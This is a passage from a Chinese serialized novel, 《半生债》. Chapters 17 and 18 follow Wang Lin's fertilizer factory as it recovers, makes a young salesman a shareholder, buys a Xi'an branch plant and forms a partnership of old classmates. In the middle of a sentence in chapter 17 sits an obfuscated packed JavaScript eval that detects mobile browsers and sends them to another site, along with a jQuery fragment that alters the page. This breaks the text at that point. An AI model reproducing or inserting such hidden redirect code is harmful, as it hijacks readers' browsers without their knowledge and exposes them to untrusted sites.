窗外，月正圆。远处传来火车驶过的声响，轰隆隆的，像某种预示。 --- 六、蜜月期 招人很顺当。 张杰写了招聘启事，贴在厂门口，也发到了劳务市场。要求简单：能吃苦，肯学，年纪不限。 来了二十多人面试。张杰亲自挑，不要油嘴滑舌的，不要眼高手低的，就要那种看着朴实、眼里透着渴盼的。 最后选了五个：两个中年妇女，曾在食品厂干过灌装；两个小伙子，刚退伍，有膀子力气；还有个老师傅，退休了闲不住，想找点事做。 “王总，”张杰说，“人齐了。咱们能开工了。” 王霖看着这五人，又看看张杰，心里涌起久违的感觉——像一支溃散的队伍，重新集结了。 车间再度热闹起来。搅拌机轰隆隆转，灌装线咔哒咔哒响，打包、装车、发货……每个环节都有人，每条线都满负荷转着。 张杰更忙了。他一个月有二十天在路上，从山东跑到河南，从河南跑到陕西，从陕西跑到甘肃。每回回来，都带回新合同，新客户。 四月中旬，张杰从西安回来，带回一份采购协议——陕西一家农业上市公司，要采五百吨液肥，用于自家种植基地。 “这家公司，是合规的商业合作。”张杰特意强调，“我舅只是帮忙引荐了下，后续谈判都按市场规矩来。价钱、条款，都经得起查验。” 王霖看着协议上的公章——陕西省农业产业化重点龙头企业。这般公司，从前他连门都进不去。 “价钱呢？”他问。 “比市场价高三个点。”张杰笑了，“因为他们要定制配方，还要咱们提供技术服务。这单要是做漂亮了，往后就是长线合作。” 王霖细看条款——付款方式三成预付，货到付五成，验收合格后付尾款。很规范的合同。 “张杰，”王霖抬起头，“这一个月，辛苦你了。” “王总，这才哪儿到哪儿。”张杰眼睛亮晶晶的，“我跟您说，西北市场潜力大得很。甘肃的土豆、宁夏的枸杞、新疆的棉花……都需要专用肥。咱们要是能把这块做起来，产能还得翻番。” 他说着，又从包里掏出个小本子：“这是我规划的销售网——以西安为中心，辐射西北五省；以郑州为中心，辐射中原。两年内，咱们要把‘美洲液肥’做成区域牌子。” 王霖看着那本子，上头画满了线路图、市场分析、客户分类。字迹工整，思路清晰。 他突然想起贾博的话：“这孩子，要是认准了你，能把命都交给你。” 或许，这次他真的遇对人了。 那晚，工厂加班到十点。新招的五人都在，张杰也在车间帮忙打包。王霖买了宵夜——包子、稀饭、咸菜，摆在车间的小桌上。 “大伙儿辛苦了。”王霖给每人盛稀饭，“这个月，咱们打了场翻身仗。下个月，会更好。” 工人们都笑了。那个退伍兵小伙子说：“王总，跟着您干，带劲！” 张杰咬了口包子，含糊道：“王总，下周我得去趟甘肃。酒泉那边有个大农场，要一百吨滴灌专用肥。要是谈成了，咱们还得再招人。” “招。”王霖说，“只要业务跟得上，人不愁。” 吃完饭，工人们陆续回家了。车间里只剩王霖和张杰。两人坐在打包好的货箱上，望着整齐码放的产品。 “王总，”张杰忽然说，“有句话，我一直想问您。” “问。” “您当年从省经委出来，自己办厂，后悔过么？” 王霖想了想，摇头：“没有。虽然难，但每一步都是自己选的。就像你叔叔说的——在体制里是块砖，位置钉死了；在外头，虽说可能摔跤，但能决定自个儿往哪儿走。” 张杰沉默片刻：“我舅那人……太稳了。有时我觉得，他活得有点累。” “可他活得踏实。”王霖说，“张杰，你叔叔是个有原则的人。在如今这环境里，能守住原则，不易。你得多学学他。” 张杰没接话。他站起身，拍拍身上的灰：“王总，不早了，您回去歇着吧。我再对对明儿的发货单。” 王霖走到门口，又回头望了一眼。张杰站在灯光下，低头核对单据的身影，显得格外专注。 这年轻人，有冲劲，有想法，但正如贾博所言——需有人带着。 王霖忽然觉得，肩上的担子，更沉了。 走出车间，夜风吹来。院子里那棵梧桐已长出嫩叶，在路灯下泛着新绿。 远处，城市的灯火明明灭灭。更远处，是望不见的远方，和等待着他们的，未可知的明天。 但至少今夜，他们有了光。 微光，也是光。 --- 【本章终】 字数：8,965字 27. 《半生债》中卷 第十七章·基石 《半生债》中卷第十七章·基石 一、账本上的春天 二零一一年腊月廿三，小年。 东海市的天空飘着细雪，落在高新区的厂房屋顶上，薄薄一层，像撒了层糖霜。车间里的机器却热气腾腾，灌装线咔嗒咔嗒地响，工人们穿着单衣还在冒汗。 王霖坐在办公室里，手里捧着一杯浓茶。茶已经凉了，他没顾上喝。桌上摊着十二月份的财务报表，最后的数字他看了三遍—— 五十三万七千六百四十二元。 不是负债，是净利润。 窗外的雪越下越大，他却觉得心头有什么东西在化开。一年前的这个时候，他还在为三万二的亏损彻夜难眠，车间里空荡荡只剩下他一个人。如今，机器二十四小时不停，院子里等着装货的车排到了大门外。 “王总。”张莉推门进来，手里拿着工资袋，“这个月的工资都发完了。工人们说，想今晚聚个餐，算是提前吃年夜饭。” “该聚。”王霖站起身，“你去订个地方，热闹点的。所有花费公司出。” 张莉笑了，眼角的细纹舒展开来：“小张在车间帮忙装车呢，我去叫他？” “等等。”王霖叫住她，“让张杰装完车来办公室，有事商量。” 下午三点，雪停了。阳光从云缝里漏出来，照在车间门口的积雪上，亮得晃眼。 张杰推门进来时，满头大汗，工装袖口卷到肘部，露出的手臂晒得黝黑：“王总，您找我？甘肃那车货装完了，司机说天黑前能上高速。” “坐。”王霖指了指对面的椅子，把财务报表推过去，“看看。” 张杰接过报表，低头细看。他的手指在纸页上移动得很慢，一行行，一列列。看到最后那个数字时，手指停住了。 他抬起头，眼睛里有什么东西在闪：“五十……三万？” “公司净利润。”王霖说，“这半年，厂子能活过来，你头功。” 张杰张了张嘴，没说出话。他喉结上下滚动了几下，又低头去看那个数字，像是要确认那不是自己眼花了。 “我跟贾处长商量过了。”王霖继续说，声音很平静，但每个字都像秤砣一样沉，“给你百分之三十的股份。入股资金不用你掏，从年终分红里转——今年你应得的十五万转作股本金，另外十万现金给你。从今往后，你就是公司的股东。” 他顿了顿，从抽屉里拿出一张纸，上面是手写的工资调整方案：“明年起，你的工资涨到五千，我八千，你张姨三千。等小芳过来，也按三千开。春节后就去办工商变更，我占百分之六十，你占三十。往后分红就是按照工商登记的股份比例来分了。” 办公室里很静，能听见车间里隐约的机器声，能听见窗外融雪滴落的声音。 张杰盯着那张纸，看了很久。然后他抬起头，眼圈红了：“王总……这……这太多了。我才来不到一年……” “不多。”王霖摇头，“没有你，厂子早垮了。这些是你应得的。” “我……”张杰的声音有些哑，“我给我叔打个电话。” 电话接通，贾博在那头听王霖说完，沉默的时间比平时长。 “王霖，”他终于开口，声音透过听筒传来，带着电流的微噪，“股份的事，我同意。张杰这孩子，该得这个。” 他停顿了一下，语气变得郑重：“不过，我也有个想法——我也想占百分之十的股份，现金入股。但我这身份，你知道的，不能直接持。让张杰代持，你看行不行？” 王霖心里紧了一下。他握话筒的手微微用力，指节有些发白：“老贾，代持这事……” “合规的事我懂。”贾博打断他，“就是纯粹的投资，不参与经营，不干涉决策。天知地知，你知我知，张杰知。不会有第四个人知道。” 王霖看向张杰。年轻人坐在对面，腰杆挺得笔直，眼神清澈而坚定。 “行。”王霖说，“那就这么定。” 挂了电话，他重新坐下，把决定告诉张杰：“你叔要百分之十，现金入股，由你代持。加上你的三十，你名下就有四十了。” 张杰重重点头，一个字一个字地说：“王总，您放心。我一定好好干，不让您和我叔失望。” 那晚的聚餐在厂区附近的一家菜馆，开了三桌。工人们都来了，连退休的老师傅也被请了回来。菜很丰实，酒是当地的老白干，烫热了喝，辣喉但暖身。 张杰被工友们灌了不少酒，脸红得像关公，但眼睛亮得像星子。他端着酒杯站起来，手有些抖，酒洒出来些：“我……我不会说话。就一句——往后，厂子就是我的家。干！” 他一饮而尽，辣得直咧嘴。工人们哄笑着，也跟着干了。 王霖坐在主桌，慢慢抿着酒。他看着这些面孔——有跟了他多年的老工人，有张杰招来的退伍兵，有附近的农村妇女。半年前，这里还冷冷清清；如今，热气腾腾。 张莉碰碰他的胳膊，小声说：“小张是真高兴。” “该高兴。”王霖说，“明天你去给他租套房子，两室一厅的。让他把小芳接过来。那姑娘学会计的，来了就管财务。” “好。”张莉笑了，“有了家，心就更定了。” 聚餐散场时，已经晚上九点多。雪又下了起来，细细密密的，在路灯下像撒盐。 张杰喝多了，走路有些晃，但坚持要回车间看看。王霖陪他过去。 车间里灯还亮着，机器已经停了，安静得能听见自己的呼吸。灌装线整齐排列，搅拌机静静矗立，地上打扫得干干净净。 张杰走到搅拌机前，伸手摸了摸冰凉的铁壳。他的手在铁壳上停留了很久，然后转过身，看着王霖，很认真地说：“王总，明年，我要把销售额做到一千万。” 他的眼睛在灯光下亮得灼人。那不是醉话，是誓约。 “好。”王霖拍拍他的肩，“我信你。” 那晚，王霖回到家已经深夜。张莉还没睡，在灯下缝补他的工作服——袖口磨破了，她细细地缝。 “小张那孩子，”她一边穿针引线一边说，“是块材料。但太年轻，你得常提着点。” “我知道。”王霖脱了外套，在沙发上坐下，“所以给他股份，把他拴住。有了股份，心就定了。” “贾处长那边……” “老贾有分寸。”王霖说，“他投钱，一是真看好，二是给张杰撑腰。但他绝不会越线——这人，我了解。” 窗外，雪越下越大。远处传来零星的鞭炮声——快过年了。 王霖走到窗前，望着被雪覆盖的厂区。那里亮着几盏灯，是值班室的灯光。 一年前的除夕，他拎着饺子去医院看老李，车间里空无一人。一年后的今夜，机器虽停，但明天一早就会重新轰鸣，会有货车排队，会有工人忙碌。 他觉得胸腔里有什么东西在生长，硬硬的，实实的，像石头缝里钻出的草芽。 --- 二、春风里 三月，东海的风里开始有暖意。 张杰的女朋友小芳来了。姑娘从西安来，穿一件鹅黄色的羽绒服，拖着个大行李箱，站在厂门口有些怯生生的。张莉去接的她，老远就招手：“小芳吧？我是张姨。” 小芳二十三岁，西安蓝田人，中专学会计，说话轻声细语，但眼睛很灵。她见了王霖，恭恭敬敬叫“王总”，见了张莉叫“张姨”，分寸把握得刚好。 张莉带她去看租好的房子——高新区一个新小区，六楼，两室一厅。房子是简装，但墙刷得雪白，地板擦得能照人。家具电器都是新的：双人床、衣柜、沙发、电视、冰箱、洗衣机。 “这……这太好了。”小芳站在客厅中间，有些手足无措，“张姨，房租多少？我和张杰自己付。” “公司福利。”张莉拉她在沙发上坐下，“你们好好干，比什么都强。张杰现在是公司股东了，这房子，就当是公司的诚意。” 小芳的眼睛一下子湿了。她低下头，手指绞在一起：“张杰在电话里说了……说王总待他像亲侄儿。我还不信……现在信了。” 第二天，小芳就开始上班。张莉把账本交给她——厚厚的几大本，都是手工账，记得密密麻麻。 “小芳，往后财务这块就交给你了。”张莉说，“该用软件用软件，该规范规范。公司要做大，财务不能马虎。” 小芳用力点头：“张姨，我学过用友财务软件，我会弄好的。” 她确实能干。不到一周，就把半年的账目全部录入电脑，建了规范的电子账套。每天下班后，她还主动加班，一笔笔核对银行流水、采购发票、销售单据。 有天晚上九点多，王霖从车间回来，看见财务室的灯还亮着。他走过去，小芳正趴在桌上对账，算盘打得噼啪响——她信不过计算器，说算盘更准。 “还不下班？”王霖敲敲门。 小芳抬起头，揉了揉发红的眼睛：“王总，我把去年的往来账对一遍，发现几笔账目不清楚。想弄明白了再走。” 王霖心里一动。他走进去，看到桌上摊开的账本，用红笔圈出了好几处。 “哪里不清楚？” “这里。”小芳指着其中一笔，“去年八月，有一笔五万的‘市场开拓费’，只有发票，没有具体说明。还有这里，十月的一笔三万的‘招待费’，发票单位跟实际接待单位对不上。” 王霖仔细看了，确实有问题。这些账都是之前张莉记的，她不是专业会计，有些地方难免疏漏。 “你能查清楚么？”他问。 “能。”小芳很肯定，“给我时间，一笔笔追溯。财务必须清清楚楚，这是根本。” 那晚，王霖回到家，对张莉说：“小芳这姑娘，找对了。” 张杰的变化更明显。自从有了股份，他整个人像上了发条。以前也勤快，但现在是拼命。 四月，他跑了一趟新疆，在石河子、奎屯、阿克苏转了半个月，带回来三个农场的订单，总量三百吨。五月，他又去了宁夏，在银川、中卫、固原泡了二十天，拿下了枸杞种植基地的全年供货协议。六月，甘肃酒泉那个老客户续签了四百吨，还介绍了两个新客户。 工厂不得不再次扩招。工人们从十二个增加到十八个，车间开始两班倒——白班早上六点到下午两点，晚班下午两点到晚上十点。机器二十四小时不停，只有凌晨四个小时停机检修。 七月底最热的那天，下午两点多，太阳毒得能把人晒脱皮。张杰从西安回来，没先回工厂，直接去了王霖家。他黑得像炭，嘴唇干裂起皮，但眼睛亮得吓人。 “王总，”他灌了一大杯凉白开，抹抹嘴，“我有个想法。” “说。” “咱们得在西安设个分厂。”他从背包里掏出一沓资料，铺在桌上，“西安石化大道附近，有家小肥料厂要转让。设备齐全，厂房三千平，最重要的是——有农业部颁发的临时肥料登记证，明年三月到期，能转正式证，有效期五年。” 王霖接过资料。照片上的厂房有些旧，设备看起来也陈旧，但整体框架完整。登记证的复印件很清晰，产品名称、技术指标都和他们现在的产品接近。 “为什么要转让？”王霖问。 “老板年纪大了，儿子在国外，不想干了。”张杰说，“我接触了三次，人实在，开价也实在——三百万，包设备、厂房、证照。” 王霖心里快速盘算。三百万不是小数，但如果在西安有分厂，西北市场的运费能省下一大截，原料也能就地采购，综合成本至少降百分之十五。 更重要的是那张登记证——现在办个新证，从检测、试验、评审到发证，至少两年，还要找关系、走门路。如果直接接手现成的，明年转正就能用，省去太多麻烦。 “你去现场看过？”王霖问。 “看了三次。”张杰很肯定，“设备虽然旧，但都能运转。厂房需要简单修缮，但主体结构没问题。最重要的是位置——离石化大道不到两公里，原料采购方便；离高速入口三公里，发货便利。” 王霖沉吟片刻。窗外的知了叫得撕心裂肺，屋里电扇嗡嗡地转。 “约老板见面。”他终于说，“我亲自去谈。” --- 三、古都的谈判 八月初，王霖和张杰再赴西安。 火车是夕发朝至的卧铺，晚上八点从东海出发，第二天早上七点到西安。张杰买了下铺，让王霖睡下铺，自己爬上了中铺。 夜里，王霖醒了两次。一次是凌晨一点多，火车在某站停靠，月台的灯光透过窗帘缝隙照进来。他看见张杰也没睡，睁着眼睛看着上铺的床板。 第二次是凌晨四点，车厢里鼾声四起。王霖去接热水，回来时看见张杰坐在过道的折叠椅上，望着窗外飞驰而过的黑暗。 “睡不着？”王霖在他旁边坐下。 “嗯。”张杰搓了把脸，“王总，您说……分厂这事，能成么？” “事在人为。”王霖说，“但记住一点——谈判时，急不得。谁急，谁就先输三分。” 张杰重重点头：“我记住了。” 早上七点，火车准点到达西安站。八月的西安，热浪扑面而来，比东海还要闷热。 肥料厂老板姓赵，约好在厂里见面。厂子在石化大道往西的一条岔路上，门脸不大，门口挂着“西安秦丰肥料有限公司”的牌子，已经褪色了。 赵老板六十出头，头发花白，但身板挺直。握手很有力，掌心粗糙，是干了一辈子活的手。 “王总，久仰。”老赵说话带着浓重的陕西口音，“张经理跟我提过您，说您是做实事的。” “赵老板客气。”王霖环视办公室——简单，但收拾得干净。墙上挂着营业执照、生产许可证、各种奖状，最显眼的位置挂着那张农业部的临时登记证。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196368|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“这厂，开了多少年了？”王霖问。 “十二年。”老赵叹口气，从抽屉里摸出烟，递给王霖一支，“最红火的时候，一年能做两千吨。现在……老了，干不动了。” 他点着烟，深深吸了一口：“儿子在加拿大，催了我三年了，让我过去。以前舍不得，今年想通了——人这一辈子，图啥？不就图个团圆。” 王霖没接话，等他说下去。 “设备是旧了点，”老赵起身，“但都能用。我带您看看。” 车间确实老旧。搅拌机是十年前的老型号，灌装线还是半自动的，有些地方锈迹斑斑。但正如张杰所说，基本都能运转。 “登记证的事……”王霖问到了关键。 “明年三月到期。”老赵从保险柜里取出原件，小心翼翼地铺在桌上，“临时证转正式证，手续我都跑完了，材料都交到部里了。只要验收通过，百分之百能转正。” 王霖仔细看那张证——产品名称“秦丰牌复合微生物肥”，技术指标、适用范围，都和他们现在的“美洲液肥”类似。如果拿下，稍作调整就能用。 “厂房是自有的还是租的？”王霖问。 老赵迟疑了下：“租的。还有八年租期。” “年租金多少？” “十二万。” 王霖心里有数了。他走到车间门口，望着空荡荡的院子。院子很大，能停四五辆大货车。墙角堆着些废弃的原料袋，已经风化开裂。 阳光炽烈，晒得地面发烫。远处，石化大道的车流声隐约传来。 “赵老板，”王霖转过身，“三百万太高了。” 老赵脸色一紧：“王总，我这设备、厂房、证照……” “设备陈旧，不值钱。”王霖很平静，“值钱的是这套手续和剩下的租期。我出一百万。” “一百万？”老赵声音提高了，“王总，您这杀价也太狠了！光这套手续，没一百万下不来！” “手续值钱，但也要看谁来用。”王霖不疾不徐，“您现在急着出手，除了我，还有几个人能马上接盘？而且接手后还要投入资金改造设备、恢复生产。一百万，是我的上限。” 老赵的脸涨红了。他看看厂房，又看看手里的登记证，嘴唇动了动，没说出话。 气氛有些僵。 张杰在一旁着急，想开口打圆场，被王霖一个眼神止住了。 沉默了几分钟，只听见电扇嗡嗡的转动声。 “一百二十万。”老赵终于开口，声音有些哑，“不能再少了。我儿子在那边等着，我……我得对得起他。” 王霖看着这个老人。他脸上的皱纹很深，眼睛里有疲惫，有不舍，还有某种坚持。 “一百万。”王霖重复，但语气软了些，“现金，一次性付清。但我有个条件——您得帮我们平稳过渡三个月，带带工人，熟悉设备，协助完成登记证转正。” 老赵盯着王霖，又看看手里的登记证。他的手在证上摩挲着，像抚摸孩子的脸。 窗外，一只麻雀落在院子的围墙上，叽叽喳喳叫了几声，又飞走了。 “成。”老赵重重一点头，像用尽了全身力气，“就当交个朋友！但有个条件——三天内付款。” “可以。”王霖伸出手，“合作愉快。” 两手相握，都很用力。 当晚，王霖在酒店给贾博打电话。 “老贾，西安分厂的事，定了。一百万成交。” 贾博在电话那头沉默了几秒。能听见他那边有翻文件的声音：“王霖，这是大事，你考虑清楚了？” “考虑清楚了。”王霖走到窗前，望着西安的夜景，“张杰说得对，要想做大，必须往前线靠。西安分厂建成，西北市场就是咱们的根据地。而且这价钱划算——光那套手续就值这个价。” “资金呢？” “公司账上有一百二十万，够。”王霖说，“分厂启动资金大概要三十万，主要是设备改造和原料采购。剩下的够周转。” 贾博又沉默了一会儿。王霖能想象他在电话那头思索的样子——眉头微皱，手指在桌面上轻轻敲着。 “设备改造要抓紧，”贾博终于说，“登记证转正的事更不能耽误。这些手续上的事，一定要合规，不能留任何隐患。” “明白。” “还有，”贾博的声音压低了些，“张杰代持我股份的事，千万别让分厂那边的人知道。一切按正规公司手续办，该签协议签协议，该公证公证。” “放心。” 挂了电话，王霖站在窗前很久。西安的夜景很美，远处钟楼的轮廓在灯光中巍然矗立，更远处是连绵的城墙。 这座城市，他大学四年在这里度过的，那时他还是少年，对未来有无限憧憬，也有无限茫然。如今，他四十多了，在这里设分厂，开拓市场。 人生，有时候真像画圆。 张杰敲门进来，脸上是压抑不住的兴奋：“王总，赵老板刚来电话，说明天就能签合同！他还说，今晚请咱们吃饭，地方都订好了。” “不急。”王霖转过身，“先找律师看合同，再做尽调。这是一百万的买卖，不能出任何岔子。” 张杰愣了下，随即点头：“对对，是我太急了。那……律师我明天就去联系。” 王霖看着他。年轻人的眼睛里闪着光，那是野心，是抱负，是急于证明自己的渴望。 “张杰，”王霖说，“分厂建起来后，你就要常驻西安了。这边的市场，全靠你撑起来。” “王总放心！”张杰挺直腰板，“我一定把西北市场打下来！” 那一瞬，王霖心里涌起复杂的情绪。他看到了张杰的冲劲，也看到了可能的风险。年轻人有锐气是好事，但锐气太盛，容易伤人伤己。 但他没多说什么，只是拍了拍张杰的肩膀：“早点休息，明天还要忙。” 那晚，王霖失眠了。他躺在床上，听着空调的嗡鸣，脑子里过电影一样闪过很多画面——一年前空荡荡的车间，老李躺在病床上说“我老了，经不起折腾了”，张杰第一次来厂里时怯生生的样子，贾博在电话里说“这孩子，得有人带着”…… 如今，车间又满了，老李回了老家，张杰成了股东，分厂就要建起来。 一切都在向好。但他心里总有些不安，像晴空里飘着一小片云，不大，但遮住了一点光。 凌晨三点，他起身倒了杯水。窗外，西安的夜空是暗红色的，城市的灯光彻夜不熄。 手机屏幕亮了一下，是张莉发来的短信：“谈得怎么样？家里一切都好，勿念。” 王霖回复：“顺利。明天签合同。你们也保重。” 发送出去后，他站在窗前，直到东方泛白。 新的一天要开始了。新的篇章，也要翻开了。 --- 【第十七章终】 （字数：9,856字） 28. 《半生债》中卷 第十八章·暗涌 《半生债》中卷第十八章·暗涌 一、秋日商南 十月商南，秦岭余脉浸在斑斓里。枫叶燃得炽烈，银杏铺就碎金，松柏凝着苍劲，三色叠嶂，漫过黛色山梁。富水河载着晴光，穿卵石滩时淌出温润声响，清凌得能照见流云与归人。 王霖归乡那日，恰是雨歇初晴。午后阳光破云而出，斜斜洒在湿滑柏油路，溅起细碎金芒，像撒了一把星子落人间。路侧稻田已褪尽青绿，捆扎整齐的稻草垛静立田畴，如岁月值守的哨兵，默数着流年过往。 这一别，便是三载。 聚会设在富水镇新开的“故乡情”酒楼，三层小楼覆着灰瓦白墙，飞檐翘角挑着仿古意趣，却也藏着几分市井烟火。门前车阵错落，既有奥迪、奔驰的张扬，也有桑塔纳、捷达的平实，恰如席间众人的境遇。 王霖停稳车，在门口立了片刻。秋风卷着残余桂香漫过来，甜意浅淡，却勾得人鼻酸。他深吸一口混着草木与烟火的气息，推门而入，喧嚣便裹挟着酒香茶气扑面而来。 二楼最大包间里，二十余人围坐两桌，烟雾缭绕间，皆是经年未见的面孔。王霖的身影刚跨进门，喧哗陡然一滞，随即炸开的招呼声，撞得人眼眶发烫。 “王霖！可算把你盼来了！” “多少年没见，模样倒没大变！” 一只温热的手猛地攥住他的胳膊，王霖转头，撞见王言圆融的笑脸——比年少时丰腴了几圈，脸盘与肚腹皆添了肉，唯有眼底光亮未减，笑起来眼角鱼尾纹如水波漾开，藏着岁月的痕迹。“就差你了！”声音依旧洪亮，振得人耳畔发暖。 肩头又落一记轻拍，是贾博。深灰夹克衬得身形沉稳，金丝眼镜后目光温和，头发梳得一丝不苟，只是鬓角几缕霜白，泄了时光的秘密。“路上耽搁了？”语气平淡，却藏着熟稔。 “去老宅转了转，门锁锈死了，费了些劲。”王霖话音刚落，便被王言拉着往主桌去，“先入座，今天不醉不归！” 主桌十二人，皆是当年最相熟的伙伴：贾博、王言、王勇、白明亮、贺笃银、王飞龙、蒋涛、雷鸣、祁金龙、郑伟、陈国梁，再加上他，恰好凑齐旧日模样。另一桌皆是泛泛之交的同学，好些面孔已模糊在记忆里，只剩轮廓依稀。 酒过三巡，话匣子便随酒意敞开。王勇率先打开话头，操着一口浸了岭南烟火的广腔普通话，嗓门亮堂，手脚也不闲着，忙着给众人添酒，眉眼间满是活络劲儿。“各位老伙计，我没你们福气念大学，高中毕业后就瞎闯，蹬过三轮车拉货，在建材市场帮人搬过瓷砖，夜市摆过摊卖过五金，啥苦都吃过！”他笑着摆手，语气里没有半分怨怼，反倒透着几分历练后的通透。 众人听得认真，他又拍着大腿续道：“后来机缘巧合碰到明亮，他看我脑子活、肯下力，就拉我去了广州，给我指了条药业的路子。起初我啥也不懂，跟着明亮跑市场、学药理、记行情，白天泡在库房盘货，晚上对着账本啃到半夜，总算摸透了门道。”说罢，他端起酒杯敬了白明亮一杯，眼神真挚：“没有明亮，就没有我王勇的今天，这份情我记一辈子！” 语气里的得意藏都藏不住，却不招人反感，反倒让人觉得踏实：“去年公司总算熬到上市，我手里那点股份翻了三倍，不算大富大贵，但总算没辜负这些年的折腾，也没辜负明亮的提携！”他性子热，说着便挨桌敬酒，玩笑话随口就来，把包间里的气氛又推高了几分，连角落里沉默的同学都被他逗得笑出了声。 白明亮被他说得笑了，端起酒杯回敬，语气谦和又带着几分赏识：“你这小子，不用总提我。路是你自己一步一个脚印走出来的，脑子灵、肯吃苦，又懂看人脸色、灵活变通，换成谁拉一把，你都能站稳脚跟。”他依旧话不多，却句句实在，也印证了王勇的说法。后来有人悄悄跟王霖补充，白明亮在南方深耕时，王勇始终跟在他身边鞍前马后，不光是上下级，更以白明亮为尊，凡事皆以他的意见为准，恭敬得如同对待引路的前辈。商南高中校庆时，王勇也捐了款，数目虽没公开，却定然不会超过白明亮的十万，一来是感念提携之恩，二来也是他为人处世的通透，从不在这些场面事上过分张扬。 王言最是自然，拍着胸脯侃侃而谈：“我在西安大明宫建材市场，弄了个千平展厅！未央区利君沙大厦的写字楼也置下了，奥迪A6，不过也是代步！”说罢又揽住王霖的肩，语气恳切，“但我最佩服的还是你，从体制里跳出来自己办厂，这才需要勇气！” 贾博端着酒杯缓缓转动，神色淡然：“我仍在银行按部就班，一个处长的名头，不过是个跑腿办事的。” 祁金龙身在县政法委，说话滴水不漏：“商南这几年发展快，高速通了，工业园也建起来了，各位老板若愿回乡投资，我来协调。” 郑伟守着邮政局的差事，笑得憨厚：“我没什么大能耐，各位寄东西回商南，找我便是，保准送到家。” 贺笃银依旧守着富水镇的小店，话语朴实：“比不了你们风光，就守着小店过安稳日子，但若说高兴，今天我最是真心。” 王霖笑着应和，举杯，干杯，动作娴熟，心底却如富水河底，表面波澜不惊，底下早已暗流涌动。二十载光阴如刀，将一群意气风发的少年刻成中年模样，同一起点的人生，终究走出了千差万别的轨迹。 窗外天色渐沉，山影溶成墨色，镇上灯火次第亮起，如散落的星辰。酒至酣处，不知谁起了头，唱起了当年的班歌，起初只是几人低哼，后来全屋人皆加入，声音参差不齐，或跑调，或忘词，却字字真诚，撞得人心头发颤。 “年轻的朋友们，今天来相会……举起杯，斟满酒，豪情壮志永不退……” 王霖也跟着唱，唱着唱着，眼眶便湿了。他想起二十年前，也是在富水河畔，一群少年对着流水立誓，要干大事，要改世界。如今回望，世界依旧是旧时模样，唯有他们，早已被岁月重塑了轮廓。 散场时已近夜半，秋夜寒意浸骨，王霖裹紧外套。贾博与王言送他至门口，路灯将三人身影拉得颀长，投在青石板路上，忽明忽暗。 王言点燃一支烟，火光在夜色里明灭不定，像濒死的萤火：“听说你在西安要开分厂？” “刚定下来，小打小闹，比不上你的展厅气派。”王霖浅笑道。 “话不能这么说。”贾博接过话头，语气郑重，“肥料这行稳当，西北市场广阔，大有可为。” 王言深吸一口烟，烟圈缓缓弥散在风里：“我有个想法——咱们几个老同学，合伙干点事，如何？你有分厂根基，我有西安人脉，贾博能解决资金，明亮、王勇他们又有实力，咱们拧成一股绳，定能吃下西北市场！” 夜风卷着残留桂香掠过，淡得几乎不可闻。贾博望着王霖，目光恳切：“王霖，你想想。咱们知根知底，断不会互相算计。这些年各忙各的，也该聚在一起，圆个年少时的梦。” 王霖望向远处墨色山影，沉默良久。风过林梢，传来枝叶轻响，似岁月的低语。“让我想想。”他只说这一句。 那晚，他卧在老宅的床上，听着窗外富水河潺潺流淌，一夜无眠。流水声里，藏着过往，也藏着未知的迷局。 二、五人之盟 返回东海第三周，王霖接到贾博的电话。背景音里满是西安街头的喧嚣，汽车鸣笛与人声交织，透着都市的浮躁。“王霖，王言在西安，明亮也来谈事，你抽空过来一趟，咱们碰个头。” 王霖翻了翻日历，十月二十日，周三。车间生产井然，张杰在甘肃开拓市场，小芳把账目打理得井井有条，并无牵挂。“我安排下，后天过去。” 十月二十二日，西安飘起细雨，如牛毛般细密，裹着寒意落在肩头。碰头地点选在王言的展厅——大明宫建材市场最惹眼的位置，三层楼宇挂着“海云飞陶瓷”的金字招牌，灯光穿透雨幕，将瓷砖映得泛着冷硬光泽，少了几分烟火气。 王言在二楼办公室等候，落地窗外是整个建材市场的全景，雨雾朦胧中，车水马龙皆成模糊剪影。红木办公桌配着真皮沙发，茶台上整套紫砂茶具泛着温润光泽，王言正亲手烹茶，水汽氤氲，茶香醇厚。 王霖抵达时，贾博与白明亮已在。白明亮依旧是朴素装束，唯有手腕上的劳力士，在灯光下闪着低调的光，泄了身份。“尝尝，武夷山大红袍，朋友送的。”王言将茶杯推至王霖面前，茶汤橙红透亮，入口回甘。 王霖抿了一口，放下茶杯，直奔主题：“你们商量得如何？” 王言与贾博对视一眼，前者开口：“我们合计好了，你西安的分厂，咱们五人合伙干——你、我、贾博、明亮，还有张杰。各占百分之二十，公平公道。” 王霖指尖轻叩杯壁，沉吟道：“张杰眼下代持着你的百分之十，加上他自身三十，实则占了四十。如今稀释到二十……” “重新核算。”贾博语气干脆，“我那份从张杰名下析出，单独持股。五人各二十，不分主次，只论心意。” 白明亮接过话头，语气平静却笃定：“资金不是问题，每人按比例现金注入，我这边随时可以到位。” 王霖沉默不语，茶香在办公室里弥漫，与窗外雨声缠在一起。他想起西安分厂那些陈旧设备，想起老赵离职时不舍的眼神，想起张杰在车间挥汗如雨的模样；也想起自己这些年的起落——从省经委辞职，辗转新陶公司，再到独自办厂，每一步都踏在泥泞里，却也皆是本心所选。 贾博的谨慎，王言的魄力，白明亮的实力，张杰的冲劲，再加上自己对行业的通透，这组合看似无懈可击，恰如精密的棋局，落子便是满盘生机。 “好。”王霖终是点头，“但我有个条件，分厂交给张杰与王言打理，贾博在幕后统筹资金，我不常驻西安，东海总厂需我盯着。” “没问题！”王言一拍桌面，语气激昂，“管理的事交给我和张杰，你尽管放心！” 贾博补充道：“财务必须规范。小芳熟悉账目，调回西安负责分厂财务，我再安排个可靠的出纳，双管齐下。” 白明亮笑了，眼底漾着暖意：“看来都盘算好了。那就定了——五人之盟，各守其位。明天便启动手续？” “等等。”王霖抬手，“张杰那边我得亲自说清，工商变更、资金注入也需时日，不必急于一时。” “不急。”贾博看了眼腕表，“下个月底前办妥即可，我这边贷款手续同步推进。” 